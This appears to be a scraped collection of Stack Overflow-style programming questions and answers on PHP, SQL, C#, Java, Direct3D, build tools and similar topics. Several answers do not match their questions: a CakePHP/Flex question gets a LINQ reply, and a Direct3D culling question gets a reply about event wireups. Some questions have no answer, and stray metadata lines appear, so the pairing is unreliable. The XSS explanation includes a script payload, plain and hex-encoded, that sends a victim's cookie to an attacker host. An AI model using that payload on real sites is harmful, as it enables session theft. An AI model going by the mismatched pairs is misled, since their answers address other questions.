q: I'm looking at a new project and we are wanting to use Flex (to provide the easy integration with AIR and provide a desktop app for our project). How easy does CakePHP play with Flex or is there a better PHP framework to use with Flex, or should we use none?

[A]
If LINQ is in your toolbox, I would highly recommend using that to read/write xml as opposed to a DataTable.  It's much more fluent and intuitive and you can control where the nodes go...  wherever you add them to the collection is where they appear in the resulting XML.
Here's a quick intro and there's a metric ton of information out there on the web about it if you search a bit:
http://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx


q: What's a simple/easy way to access the system clock using Java, so that I can calculate the elapsed time of an event?

[A]
```
java.lang.System.currentTimeMillis()
```
or
```
java.lang.System.nanoTime()
```
ought to work to measure elapsed time.

s: huggingface

c: devops

d: intermediate


q:
If this is possible, please provide a sample query or two so I can see how it would work.  Both tables will be in the same database.

Thanks!

[A]
Pseudo code:
```
```
insert into <target-table>
( <column-list> )
select <columns>
  from <source-table>
```
```


q:
On the latest Ubuntu, I have a functioning PHP 5.2.4 installation.  I want to use a remote Oracle server from PHP using OCI.

I've downloaded the "Instant Client Package - Basic Lite" (Link). I've unzipped the package containing the OCI libraries to a dir but I have no idea how to tell PHP that I want to use these libraries. Predictably, I get

Fatal error: Call to undefined function oci_connect() in...

when running this code:

<?php
   $conn = oci_connect('hr', 'hrpw', 'someremotehost');
?>

I don't want to recompile PHP with Oracle support.  What's the fastest way to wire up PHP so that I can use Oracle?  Do I need any other libaries, like the Oracle client if I want to connect to a remote Oracle instance?

[A]
You need the PHP extension, try the following on your Ubuntu:
```
```
(sudo) pecl install oci8
```
```
Make sure your php.ini's (there should be one for your Apache and one for cli php) contain
```
extension=oci8.so
```
afterwards. Finally, you have to restart Apache and can confirm via
```
<?php phpinfo(); ?>
```
that the extension is loaded.
UPDATE:
Enter something like this when it asks you for ORACLE_HOME:
instantclient,/opt/oracle/instantclient
I think setting the environment variable would be another solution. /opt/oracle... is the path I put my instantclient in. I followed some tutorial a while ago, unfortunately I can't find it anmore.
HTH


q: How do i take a HTML site that currently has no doctype declaration and make it W3C compliant?

[A]
First of all: think about
why
you need to make it W3C compliant. If it's just for the little badge, then it's not worth it.
If you do have a good reason (and there are plenty), then this is what I'd do:
Start by choosing a doctype. From the sound of it, HTML 4.0 might be the way to go. Run your page through a validator and then look at the error report it gives you. Go through it one by one, fixing each error. Usually the error report will tell you a good deal of information about how to solve each problem and give you the relevant links to the specification.


q:
I began an iPhone project the other day with a silly development code name, and now I want to change the name of the project since it's nearly finished.

But I'm not sure how to do this with Xcode, trying the obvious of changing the application's name in the info.plist file, causes the signing process to go wrong (I think...) and my app won't launch giving me a Launcher error.

I guess I could make a new project and copy paste everything over, but it seems so primitive that I'm hoping for a more civilized solution.

[A]
Go to
```
Targets
```
in
```
Xcode
```
.
```
Build Settings
```
on your project's target (your current development name).
Search for
```
Product Name
```
under
```
Packaging
```
. Change its value to what you want your new project name to be.


q:
I've never had a reason to put a label element inside of a legend element (never really thought about it or seen it done). But with the design I'm implementing, it's tempting to do so.

Here's what I'm tempted to do:

<fieldset>
<legend><label for="formInfo">I would like information on</label></legend>
<select id="formInfo">
    <option value="Cats">Cats</option>
    <option value="Dogs">Dogs</option>
    <option value="Lolz">Lolz</option>
</select>
</fieldset>

It works as expected (clicking the label focuses the corresponding input) in Firefox3, Safari, Opera, and IE6/7 and it passes validation, but I'm just wondering if there are any known reasons (accessibility? semantics? browser issues) why this shouldn't be done

[A]
well, the label element itself seems fine - it's the description of the "formInfo" element, so that's no worries. Semantically, however, what's this saying about the
```
legend
```
element? It's supposed to be a caption for the entire fieldset....


q:
Is there a simple way to duplicate all child components under parent component, including their published properties?

For example:

TPanel

TLabel

TEdit

TListView

TSpecialClassX

Of course the most important factor, it should duplicate any new component which I drop on the TPanel without modifying the code under normal circumstances.

I've heard of the RTTI, but never used it actually. Any ideas?

[A]
It's actually fairly easy to duplicate existing components at runtime.  The difficult part is to copy all of their published properties to the new (duplicated) objects.
I'm sorry, but my code example is in C++Builder.  The VCL is the same, just a different language.  It shouldn't be too much trouble to translate it Delphi:
```
```
for (i = 0; i < ComponentCount; ++i) {
    TControl *Comp = dynamic_cast<TControl *>(Components[i]);
    if (Comp) {
        if (Comp->ClassNameIs("TLabel")) {
            TLabel *OldLabel = dynamic_cast<TDBEdit *>(Components[i]);
            TLabel *NewLabel = new TLabel(this);  // new label
            // copy properties from old to new
            NewLabel->Top = OldLabel->Top;
            NewLabel->Left = OldLabel->Left;
            NewLabel->Caption = Oldlabel->Caption
            // and so on...
        } else if (Comp->ClassNameIs("TPanel")) {
            // copy a TPanel object
        }
```
```
Maybe somebody has a better method of copying all of the published properties of the old control to the new one.


q:
We use GNU Make for our system.  At the end of our makefiles, we have an include called Makedepends which generates a bunch of .d files using -MM switch on gcc.  We then include the .d file for each .cc file using an include $(CXXFILES:.cc=.d) line.  But when we delete file or move files, the dependancies step breaks and we have to manually delete the .d files (even a make clean doesn't work because the dependencies fail)

Is there a way to generate these dependency .d files or include these dependency .d files which will gracefully handle a file deletion or relocation?

EDIT: For example: I have serial.cc and the makefiles generate a serial.d file which has a dependency on buffer.h but then I change it so I don't need buffer.h any more and I delete buffer.h.  Next time I run make, it will choke because it includes the .d file which still makes serial.o depend on buffer.h.

[A]
Two possibilities:
First, can you add a rule to your Makefile to run the dependency step:
```
```
.SUFFIXES: .d

%.d::
   makedepend_command_here
```
```
If not, then from the
```
Last Resort
```
section of the
```
info
```
page for GNU Make:
For example, when testing a
  makefile, you might not care if the
  source files contain real data, only
  that they exist.  Then you might do
  this:
```
```
%::
         touch $@
```
```
to cause all the source files needed
  (as prerequisites) to be created
  automatically.
Will this work to create empty
```
.d
```
files for you?


q:
I have a third-party product, a terminal emulator, which provides a DLL that can be linked to a C program to basically automate the driving of this product (send keystrokes, detect what's on the screen and so forth).

I want to drive it from a scripting language (I'm comfortable with Python and slightly less so with Perl) so that we don't have to compile and send out executables to our customers whenever there's a problem found.

We also want the customers to be able to write their own scripts using ours as baselines and they won't entertain the idea of writing and compiling C code.

What's a good way of getting Python/Perl to interface to a Windows DLL. My first thought was to write a server program and have a Python script communicate with it via TCP but there's got to be an easier solution.

[A]
One way to call C libraries from Python is to use
ctypes
:
```
```
>>> from ctypes import *
>>> windll.user32.MessageBoxA(None, "Hello world", "ctypes", 0);
```
```


q:
I am trying to mock out HttpContext so that I can unit test my controller's Request.IsAuthenicated call. I am using the code that I found at Scott Hanselman's blog to simulate HttpContext using rhino.mocks.
so i have this unit test piece:

PostsController postsController = new PostsController(postDL);
mocks.SetFakeControllerContext(postsController);
Expect.Call(postsController.Request.IsAuthenticated).Return(true);

In my controller action, I have something like
if(Request.IsAuthenticated)....
when  I try to run the unit test, the test fails throwing a null exception, and when I try to debug the unit test, I see that the HttpContext is never assigned to the controller.
any ideas?

[A]
Now, for disclosure, I have yet to get my hands dirty with most of the stuff you are working with, however:
If you want to mock the IsAuthenticated, why not just create a static class to return a bool that can the be manipulated by your test code?
This is a bit rough round the edges, but hopefully you get the idea:
```
```
interface IAuthenticationChecker
{
    bool IsAuthenticated { get; }
}

public class MockAuthenticationChecker : IAuthenticationChecker
{
    static bool _authenticated = false;

    public static void SetAuthenticated(bool value)
    {
        _authenticated = value;
    }
    #region IAuthenticationChecker Members

    public bool IsAuthenticated
    {
        get { return _authenticated; }
    }

    #endregion
}

public class RequestAuthenticationChecker : IAuthenticationChecker
{

    #region IAuthenticationChecker Members

    public bool IsAuthenticated
    {
        get {
            if (HttpContext.Current == null)
                throw new ApplicationException(
                    "Unable to Retrieve IsAuthenticated for Request becuse there is no current HttpContext.");

            return HttpContext.Current.Request.IsAuthenticated;
        }
    }

    #endregion
}
```
```
You can then use a reference to either at app level, yeah it means you have to add a reference at app level, and you need to use a different ref rather than Request, but you also get complete control over the authentication for testing :)
FYI - this is totally open to being blown apart, I threw it together in about a minute :)


q:
I came across an article about Car remote entry system at http://auto.howstuffworks.com/remote-entry2.htm In the third bullet, author says,

Both the transmitter and the receiver use the same pseudo-random number generator. When the transmitter sends a 40-bit code, it uses the pseudo-random number generator to pick a new code, which it stores in memory. On the other end, when the receiver receives a valid code, it uses the same pseudo-random number generator to pick a new one. In this way, the transmitter and the receiver are synchronized. The receiver only opens the door if it receives the code it expects.

Is it possible to have two PRNG functions producing same random numbers at the same time?

[A]
In PRNG functions, the output of the function is dependent on a 'seed' value, such that the same output will be provided from successive calls given the same seed value. So, yes.
An example (using C#) would be something like:
```
```
// Provide the same seed value for both generators:
System.Random r1 = new System.Random(1);
System.Random r2 = new System.Random(1);

// Will output 'True'
Console.WriteLine(r1.Next() == r2.Next());
```
```
This is all of course dependent on the random number generator using some sort of deterministic formula to generate its values. If you use a so-called 'true random' number generator that uses properties of entropy or noise in its generation, then it would be very difficult to produce the same values given some input, unless you're able to duplicate the entropic state for both calls into the function - which, of course, would defeat the purpose of using such a generator...
In the case of remote keyless entry systems, they very likely use a PRNG function that is deterministic in order to take advantage of this feature. There are many ICs that provide this sort of functionality to produce random numbers for electronic circuits.
Edit: upon request, here is an example of a non-deterministic random number generator which doesn't rely upon a specified seed value:
Quantum Random Number Generator
. Of course, as freespace points out in the comments, this is not a pseudorandom number generator, since it generates truly random numbers.


q:
I have a char in c#:

char foo = '2';

Now I want to get the 2 into an int.  I find that Convert.ToInt32 returns the actual decimal value of the char and not the number 2.  The following will work:

int bar = Convert.ToInt32(new string(foo, 1));

int.parse only works on strings as well.

Is there no native function in C# to go from a char to int without making it a string?  I know this is trivial but it just seems odd that there's nothing native to directly make the conversion.

[A]
This will convert it to an
```
int
```
:
```
```
char foo = '2';
int bar = foo - '0';
```
```
This works because each character is internally represented by a number. The characters
```
'0'
```
to
```
'9'
```
are represented by consecutive numbers, so finding the difference between the characters
```
'0'
```
and
```
'2'
```
results in the number 2.


q:
Just to clarify, I'm running Sybase 12.5.3, but I am lead to believe that this holds true for SQL Server 2005 too. Basically, I'm trying to write a query that looks a little like this, I've simplified it as much as possible to highlight the problem:

DECLARE @a int,  @b int, @c int

SELECT
     @a = huzzah.a
    ,@b = huzzah.b
    ,@c = huzzah.c
FROM (
    SELECT
         1 a
        ,2 b
        ,3 c
) huzzah

This query gives me the following error: "Error:141 A SELECT statement that assigns a value to a variable must not be combined with data-retrieval operations."

The only work around that I've got for this so far, is to insert the derived-table data into a temporary table and then select it right back out again. Which works fine, but the fact that this doesn't work irks me. Is there a better way to do this?

[A]
I've just ran your code against 12.5.3 and it parses fine...doesn't return anything but it does run. Have you maybe simplified the problem a bit too much because I'm not seeing any error messages at all.
Just to be clear, the following runs and returns what you'd expect.
```
```
DECLARE @a int,  @b int, @c int

SELECT
     @a = huzzah.a
    ,@b = huzzah.b
    ,@c = huzzah.c
FROM (
    SELECT
         1 a
        ,2 b
        ,3 c
) huzzah

select @a
select @b
select @c
```
```


q:
I track alot of things with RRD, eg, uptime, network throughput, etc. This works well when you can fit all the graphs on a single page, however, once you scale beyond a page it becomes difficult to use graphs to catch issues, you need to look at them to see that there is an issue, and if there is hundreds or thousands of graphs, that obviously isn't possible.

So, is there any standard way, or existing software for monitoring rrd databases for trend changes? Eg, every day, network traffic looks pretty much the same, if it spikes or dips dramatically in a single hour/day/week compared to the norm, I'd like to be alerted to it.

Or even just generic methods for finding changes in trends.

[A]
You can read the RRD file directly, not just use the graphs generated. You might need to write your own app to do this, but the file format is an open standard so shouldn't be that difficult to get what you need.
RRD File Format


q: What is the exact use of an Abstract class? Is not possible to do the same things in an ordinary class as it is an an abstract class?

[A]
An abstract class is used when you have some base functionality that you want subclasses to inherit, but it wouldn't make sense to instantiate the base class.  For example, if you had something like a Shape base class, you could have some built in implementation that could be used by subclasses as well as interface methods that you want the subclasses to implement.  However, it probably wouldn't make sense to create a Shape object.  An abstract class gives you this functionality.  Another great example of abstract class uses is the
abstract factory pattern
.


q:
Using PHP, what's the fastest way to convert a string like this: "123" to an integer?

Why is that particular method the fastest? What happens if it gets unexpected input, such as "hello" or an array?


q: I am a complete JSP beginner.  I am trying to use a java.util.List in a JSP page.  What do I need to do to use classes other than ones in java.lang?

[A]
In the page tag:
```
```
<%@ page import="java.util.List" %>
```
```


q:
I am looking for resources on Microsoft Sync Framework. Although MSDN and Google Search gave me the brief overview, I want some demos and presentations.

Also, is Live Mesh based on Sync Framework?

[A]
Maybe those links will be helpful:
Sync101 - Getting Started with Sync
Tutorial - Microsoft Sync Framework Basics
S
QL Express - Client Synchronization Sample
Sync Services for ADO.NET v2 - Download Only Sync
Sync Services for ADO.NET Adapter Builder


q: Can someone explain how XSS works in plain english? Maybe with an example. Googling didn't help much.

[A]
Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link to inject unwanted executable JavaScript into a Web site. The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content.
When a victim clicks the link, the malicious code can then send the victim’s cookie away to another server, or it can modify the affected site, injecting forms, to steal usernames and passwords, and other phishing techniques.
Example of malicious link:
```
```
http://VulnerableHost/a.php?variable=<script>document.location='http://AttackersHost/cgi-bin/cookie.cgi%3Fdata='+document.cookie</script>
```
```
It's also common to encode the malicious code, for example in hex:
```
```
http://VulnerableHost/a.php?variable=%22%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%41%74%74%61%63%6B%65%72%73%48%6F%73%74%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%2E%63%67%69%3F%20%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E
```
```


q:
A while ago I noticed I don't have a magnifying-glass next to my datatables. I used to have it, and somehow, sometime, it disappeared...

Has anyone seen this happen? Do you know how to help me view my datatables again?

Update: I'm still clueless about this. Could anyone point me in some direction, where should I even start looking for an answer? Thanks a lot.

Update: I changed to a new computer, and still the same problem. But I pinpointed it to being only in Visual Studio 2005. On Visual Studio 2008 I have perfectly normal DataSet and  Datatable visualizers.
So I tried re-installing VS2005, to make sure all the components were installed, nothing left  out - but Nada. Still no visualizer.

Update: Found the solution to my problem: My answer

[A]
Create a new clean project, does the Visualizer show up there?
Check if this file exist: "\Program Files\Microsoft Visual Studio 8.0\Common7\Packages\Debugger\Visualizers\Microsoft.VisualStudio.Debugger.DataSetVisualizer.dll"
Check if the dll is loaded in Visual Studio, Open your project, then open anther Visual Studio, attach the debugger into the first Visual Studio (Make sure that managed debugger is selected). Inside the
debugging
Visual Studio open Debug/Windows/Modules to see if the DataSetVisualizer is loaded.
try
devenv /ResetSettings
from an admin console.


q:
Do they set display: none or visibility: hidden?

I'm pretty sure display: none takes the element out of the normal flow, whilst visibility: hidden just hides the element but still has a reserved space for it.

Should I just go download the unpacked version and study it or does someone have a quick answer?

[A]
It uses
```
display
```
.
Edit: And from John Sheehan's comment on this answer, which I agree with:
You should go view the unpacked source anyway just to familiarize yourself with it
Edit 2: Comments have mentioned using Firebug to discover what is happening. Indeed, I actually went to the jQuery docs and used the Safari Web Inspector to see what happened on the
```
hide()
```
demo to be sure of my answer.


q:
An old Direct3D book says

"...you can achieve an acceptable frame
  rate with hardware acceleration while
  displaying between 2000 and 4000
  polygons per frame..."

What is one polygon in Direct3D? Do they mean one primitive (indexed or otherwise) or one triangle?

[A]
According to this
page
, a polygon is n-sided in Direct3d.
In C#:
```
```
public static Mesh Polygon(
    Device device,
    float length,
    int sides
)
```
```


q:
In our application we enable users to print pages. We do this by supplying a button which when click calls the window.print() function.

Some of the pages would look better if they were printed in landscape mode rather than portrait. Is there a way to control the page layout from JavaScript?

Update: Following the advice given here I looked for "css landscape" in google, and found the following article that showed ways of css-ly defining landscape:

[A]
Do it with CSS by including a print stylesheet thusly:
```
```
<style type="text/css" media="print">@import url("/inc/web.print.css");</style>
```
```


q:
Imagine you got an entity in the Google App Engine datastore, storing links for anonymous users.
You would like to perform the following SQL query, which is not supported:

SELECT DISTINCT user_hash FROM links

Instead you could use:

user = db.GqlQuery("SELECT user_hash FROM links")

How to use Python most efficiently to filter the result, so it returns a DISTINCT result set?
How to count the DISTINCT result set?

[A]
One option would be to put the results into a set object:
http://www.python.org/doc/2.6/library/sets.html#sets.Set
The resulting set will consist only of the distinct values passed into it.
Failing that, building up a new list containing only the unique objects would work. Something like:
```
```
unique_results = []
for obj in user:
    if obj not in unique_results:
        unique_results.append(obj)
```
```
That
```
for
```
loop can be condensed into a list comprehension as well.


q: Is there a mandatory relationship between a Controller Action and a View? I mean is it necessary to have a physical View (.aspx page) for each Action inside a Controller class?

[A]
There is no mandatory relationship between the Controller Action and a view. The controller is responsible for returning an ActionResult. The most usual way of doing this is by using a View, but they aren't hard wired. A view could be shared across Controllers for instance.
Also a Controller, can deal with the request purely on its own, returning a redirect, or a JSON result, or even its own html (though not recommended).


q:
Let's say I have the following table:

CustomerID ParentID Name
========== ======== ====
1          null     John
2          1        James
3          2        Jenna
4          3        Jennifer
5          3        Peter
6          5        Alice
7          5        Steve
8          1        Larry

I want to retrieve in one query all the descendants of James (Jenna,Jennifer,Peter, Alice, Steve).
Thanks,
Pablo.

[A]
You can't do recursion in SQL without stored procedures. The way to solve this is using Nested Sets, they basically model a tree in SQL as a set.
Notice that this will require a change to the current data model or possibly figuring out how to create a view on the original model.
Postgresql example (using very few postgresql extensions, just SERIAL and ON COMMIT DROP, most RDBMSes will have similar functionality):
Setup:
```
```
CREATE TABLE objects(
    id SERIAL PRIMARY KEY,
    name TEXT,
    lft INT,
    rgt INT
);

INSERT INTO objects(name, lft, rgt) VALUES('The root of the tree', 1, 2);
```
```
Adding a child:
```
```
START TRANSACTION;

-- postgresql doesn't support variables so we create a temporary table that
-- gets deleted after the transaction has finished.

CREATE TEMP TABLE left_tmp(
    lft INT
) ON COMMIT DROP; -- not standard sql

-- store the left of the parent for later use
INSERT INTO left_tmp (lft) VALUES((SELECT lft FROM objects WHERE name = 'The parent of the newly inserted node'));

-- move all the children already in the set to the right
-- to make room for the new child
UPDATE objects SET rgt = rgt + 2 WHERE rgt > (SELECT lft FROM left_tmp LIMIT 1);
UPDATE objects SET lft = lft + 2 WHERE lft > (SELECT lft FROM left_tmp LIMIT 1);

-- insert the new child
INSERT INTO objects(name, lft, rgt) VALUES(
    'The name of the newly inserted node',
    (SELECT lft + 1 FROM left_tmp LIMIT 1),
    (SELECT lft + 2 FROM left_tmp LIMIT 1)
);

COMMIT;
```
```
Display a trail from bottom to top:
```
```
SELECT
    parent.id, parent.lft
FROM
    objects AS current_node
INNER JOIN
    objects AS parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
WHERE
    current_node.name = 'The name of the deepest child'
ORDER BY
    parent.lft;
```
```
Display the entire tree:
```
```
SELECT
    REPEAT('   ', CAST((COUNT(parent.id) - 1) AS INT)) || '- ' || current_node.name AS indented_name
FROM
    objects current_node
INNER JOIN
    objects parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
GROUP BY
    current_node.name,
    current_node.lft
ORDER BY
    current_node.lft;
```
```
Select everything down from a certain element of the tree:
```
```
SELECT
    current_node.name AS node_name
FROM
    objects current_node
INNER JOIN
    objects parent
ON
    current_node.lft BETWEEN parent.lft AND parent.rgt
AND
    parent.name = 'child'
GROUP BY
    current_node.name,
    current_node.lft
ORDER BY
    current_node.lft;
```
```


q:
I have  database with many tables. In the first table, I have a field called status.

table 1
idno   name    status
111    hjghf   yes
225    hjgjj   no
345    hgj     yes

Other tables could have same idno with different fields.

I want to check the status for each id no and if it is yes then for that id number in all tables for all null and blank fields I want to update them as 111111.

I am looking for a sample vba code for this which I can adapt.

Thanks

[A]
Here is some largely untested code. Hopefully it will give you a start.
```
```
Sub UpdateNulls()
Dim strSQL As String
Dim rs As DAO.Recordset
For Each tdf In CurrentDb.TableDefs
    If Left(tdf.Name, 4) <> "Msys" And tdf.Name <> "Table1" Then
        strSQL = "Select * From [" & tdf.Name & "] a Inner Join " _
        & "Table1 On a.idno = Table1.idno Where Table1.Status = 'Yes'"

        Set rs = CurrentDb.OpenRecordset(strSQL)

        Do While Not rs.EOF
            For i = 0 To rs.Fields.Count - 1
                If IsNull(rs.Fields(i)) Then
                    rs.Edit
                    rs.Fields(i) = 111111
                    rs.Update
                End If
            Next
            rs.MoveNext
        Loop

    End If
Next
End Sub
```
```


q: Is there in Ruby some functionality/syntax to compare two floats with delta? Something similar to assert_in_delta(expected_float, actual_float, delta) from test/unit but returning Boolean?

[A]
```
```
(expected_float - actual_float).abs <= delta
```
```


q:
I usually never see test for new in C++ and I was wondering why.

Foo *f = new Foo;

// f is assumed as allocated, why usually, nobody test the return of new?

[A]
As per the current standard,
new
never returns
NULL
, it throws a std::bad_alloc instead. If you don't want new to throw(as per the old standard) but rather return NULL you should call it by postfixing it with "
(std::nothrow)
".
i.e.
```
```
Foo* foo = new (std::nothrow) Foo;
```
```
Of course, if you have a very old or possibly broken toolchain it might not follow the standard.


q:
I am using Direct3D to display a number of I-sections used in steel construction. There could be hundreds of instances of these I-sections all over my scene.

I could do this two ways:

Using method A, I have fewer surfaces. However, with backface culling turned on, the surfaces will be visible from only one side. If backface culling is turned off, then the flanges (horizontal plates) and web (vertical plate) may be rendered in the wrong order.

Method B seems correct (and I could keep backface culling turned on), but in my model the thickness of plates in the I-section is of no importance and I would like to avoid having to create a separate triangle strip for each side of the plates.

Is there a better solution? Is there a way to switch off backface culling for only certain calls of DrawIndexedPrimitives? I would also like a platform-neutral answer to this, if there is one.

[A]
Well my most basic instinct would be that somehow you actually have two event wireups to the Elapsed event - resulting in two events firing. I've been caught out through this, sometimes because I've added the event wireup manually when it has already been added in the designer, or there is some inheritance aspect here where the wireup is already in a base class and you are repeating it in a derived class.
Of course if there are multiple threads then that is a whole different ball game!


q:
I know that LDAP is used to provide some information and to help facilitate authorization.

But what are the other usages of LDAP?

[A]
That's a rather large question.
LDAP is a protocol for accessing a directory. A directory contains objects; generally those related to users, groups, computers, printers and so on; company structure information (although frankly you can extend it and store anything in there).
LDAP gives you query methods to add, update and remove objects within a directory (and a bunch more, but those are the central ones).
What LDAP does not do is provide a database; a database provides LDAP access to itself, not the other way around. It is much more than signup.


q: What is the initial cost of setting up CruiseControl?

[A]
How do you define 'cost'? It's free to download so there's no monetary cost.
In terms of time it should take between 1/2 - 1 day, depending on how complicated your configuration is.


q: Is it possible to easily embed ActiveX controls in Java application? Is it worth it. In my next project I should either use existing activex in Java app or have to reimplement everything from scratch, so I'm wondering what will be less hassle.

[A]
I don't think there's a way to do this without resorting to a third party library.  (Or rolling your own, but you did say "easily".)
SWT
(The "Standard Widget Toolkit") contains support for embedding ActiveX controls.  SWT is an alternative to Swing, though there is a degree of interoperability between them.
Here's
an example of embedding Windows Media Player in an SWT window.
Alternatively there's the
Jacob
project, though I haven't used that myself.
As for "is it worth it?"  Well, I can say from experience that SWT makes it relatively easy, but unless your application can gracefully deal with not having them available, by relying on COM components you are losing the ability to run on multiple platforms that makes Java attractive in the first place.


q:
I have a class with some abstract methods, but I want to be able to edit a subclass of that class in the designer.  However, the designer can't edit the subclass unless it can create an instance of the parent class.  So my plan is to replace the abstract methods with stubs and mark them as virtual - but then if I make another subclass, I won't get a compile-time error if I forget to implement them.

Is there a way to mark the methods so that they have to be implemented by subclasses, without marking them as abstract?

[A]
Well you could do some really messy code involving
```
#if
```
- i.e. in
```
DEBUG
```
it is virtual (for the designer), but in
```
RELEASE
```
it is abstract. A real pain to maintain, though.
But other than that: basically, no. If you want designer support it can't be abstract, so you are left with "virtual" (presumably with the base method throwing a
```
NotImplementedException
```
).
Of course, your unit tests will check that the methods have been implemented, yes? ;-p
Actually, it would probably be quite easy to test via generics - i.e. have a generic test method of the form:
```
```
[Test]
public void TestFoo() {
  ActualTest<Foo>();
}
[Test]
public void TestBar() {
  ActualTest<Bar>();
}

static void ActualTest<T>() where T : SomeBaseClass, new() {
  T obj = new T();
  Assert.blah something involving obj
}
```
```


q:
How do I insert a current_timestamp into an SQL Server 2005 database datable with a timestamp column?

It should be simple but I cannot get it to work.  Examples would be much appreciated.

[A]
if you can execute a query from PHP then it should just be a matter of using 'getdate()' ;
```
```
update MyTable set MyColumn=getdate();
```
```
or
```
```
insert into MyTable (MyColumn) values (getdate());
```
```


q: How does the event creation and handling work in Java Swing?

[A]
There's a tutorial on eveng handling here:
http://java.sun.com/docs/books/tutorial/uiswing/events/index.html
It's about Swing. If that doesn't work maybe you could be a bit more specific?


q:
I'm kinda stuck with this one so I hoped someone could help me.

I am doing a Winforms application and I need to show a Modal Dialog (form.ShowDialog) that returns a value (prompts the User some values and wraps them in a Object).

I just can't see how to do this rather than give a reference into the object or depending on some form of public Property to read the data afterwards.

I'd just like to have ShowDialog return something different, but that doesn't work.
Is thare some "good" way to do this?

I'm sure the problem isn't new, but since almost nobody seems to do Winforms any more I can't find any guidance on the web.

[A]
Add a static method to your form, like this:
```
```
public class MyDialog : Form
{
    // todo: think of a better method name :)
    public static MyObject ShowAndReturnObject()
    {
        var dlg = new MyDialog();
        if (new dlg.ShowDialog() == DialogResult.OK)
        {
            var obj = // construct an instance of MyObject from dlg
            return obj;
        }
        else
        {
           return null;
        }
    }
}
```
```
Now you can call this from your program thusly:
```
```
var myObject = MyDialog.ShowAndReturnObject();
```
```
... and if they cancel the dialog, myObject will be null.
Now, having said all that, I do believe that adding a property to your form's class which you then read from after calling ShowDialog() is the better approach.


q:
I want to compare two ms-access .mdb files to check that the data they contain is same in both.

How can I do this?

[A]
If you want to know if the files are identical then
```
```
fc file1.mdb file2.mdb
```
```
on a DOS command line.
If the files aren't identical but you suspect they contain the same tables and records then the easiest way would be quickly write a small utility that opens both databases and cycles through the tables of both performing a heterogeneous query to extract the Diff between the two files.
There are some tools out there which will do this for you, but they all appear to be shareware.


q: I would like to stress test a win32 application by sending a lot of random keystrokes to it, and I wonder if anyone could point me to some software I could use. Ideally, I should be able to specify which keystrokes can be sent, and control rate (random min/max).

[A]
Here's a pseudocode (since you didn't mention the language you're using):
Create an array that contains the alphabet from a-z, A-Z, 0-9 (depending on what keys you wish to send)
for i = 0 to NumberOfKeyStrokes
rand() % SizeOfArray
delay for rand() milliseconds (the lower the range, the faster the key strokes are)
send via an API or as a string
For more information on sending a keystrike to an application on windows, research the API FindWindow and SendMessage


q:
From a HTML application (.hta file), you can drag any image and drop it into the desktop for example.

Does anybody know how to disable this capability?

I want the .hta files to have the same behavior as the .html files.


q:
How do I truncate output in BASH?

For example, if I "du file.name" how do I just get the numeric value and nothing more?

later addition:

all solutions work perfectly. I chose to accept the most enlightning "cut" answer because I prefer the simplest approach in bash files others are supposed to be able to read.


q:
I want to set up a Subversion server installation on Windows Server 2003 64-bit and I'm considering using VisualSVN Server. Does this work OK in a 64-bit environment? Are there any issues or gotchas I should be aware of before installing the software?

Many thanks!

[A]
VisualSVN 1.5.1 works on Vista 64 bits. You can get some
update here
for Vista if you experiment some problem, but you should be fine.


q:
I have a table that has a processed_timestamp column -- if a record has been processed then that field contains the datetime it was processed, otherwise it is null.

I want to write a query that returns two rows:

NULL        xx -- count of records with null timestamps
NOT NULL    yy -- count of records with non-null timestamps

Is that possible?

Update: The table is quite large, so efficiency is important. I could just run two queries to calculate each total separately, but I want to avoid hitting the table twice if I can avoid it.

[A]
In MySQL you could do something like
```
```
SELECT
    IF(ISNULL(processed_timestamp), 'NULL', 'NOT NULL') as myfield,
    COUNT(*)
FROM mytable
GROUP BY myfield
```
```


q:
We are replacing the exception handling system in our app in order to conform to Vista certification, but the problem is how to force certain exceptions to be thrown, so that we can check the response.

Unfortunately the whole app was written without taking into consideration proper layering, abstraction or isolation principles, and within the timeframe introducing mocking and unit testing is out of the question :(

My idea is to introduce code which will throw a particular exception, either through a compiler directive or by respecting a value in the config file.  We can then just run the app as normal and manually check how the exception is handled.

Just thought I'd put it out there and see if the SO community can think of anything better!

Cheers

[A]
Introduce this code:
```
```
throw new Exception("test");
```
```
If you need the exception to always be there (i.e., not just test code), then hide it behind a command-line parameter.
```
```
C:\Users\Dude> myapp.exe /x
```
```


q:
I have custom coded several enterprise applications for mid to large organizations to use internally (some with a minimal external footprint).  I now have plans for a web project that may (hopefully) see a large userbase with more daily traffic than my previous projects have ever attained.  Obviously I want my design to be scalable and maintainable.  The problem is that from a physical layout perspective (servers/VMs) I do not know what to expect.

The question:  What are some good resources for this?  Books?  Websites?  I have found plenty on scalable application design, but nothing on scalable physical design.

[A]
It's hard to give exact answer without knowing something about what technologies you plan to use. The approach to the application can't be completely unaware of planned physical infrastructure if scaling is a major driver.
Caching would have to be a big concern.  Also ways to expand the hardware where your data lives.
A very interesting and instructive read is the real world bio of live journal,
a history of scaling
, and how they grew their physical presence with a massive growth in their website.  One major offshoot of their work was a new caching technology, memcached, which is now used by FaceBook among others.  It is surprisingly honest.


q:
I'm occasionaly getting the following popup from an AJAX.NET application

Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031

From the Microsoft kb that status code indicates a ERROR_INTERNET_CONNECTION_RESET, but it doesn't state what was the underlying issue the triggered the error in the first place.

How can I log/trace/etc the underlying error that generated the popup?

[A]
If you're getting that from an updatePanel, set EnablePartialRendering to false in the ScriptManager for the page, and then it should give you the actual error.
Also, if it only happens occasionally, I've found that it could be a viewstate problem, especially when the page goes a long time (20mins or so) between refreshes.
Otherwise, try some try/catch blocks.  Those are some easy methods.
Hope that helps!


q: How to load only the schema of the tables into a dataset.


q: Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...?  I don't need to write to it, just grab a couple of values from it.

[A]
Have you tried
```
ConfigurationManager
```
and
```
OpenExeConfiguration(path)
```
? (in System.Configuration.dll)


q:
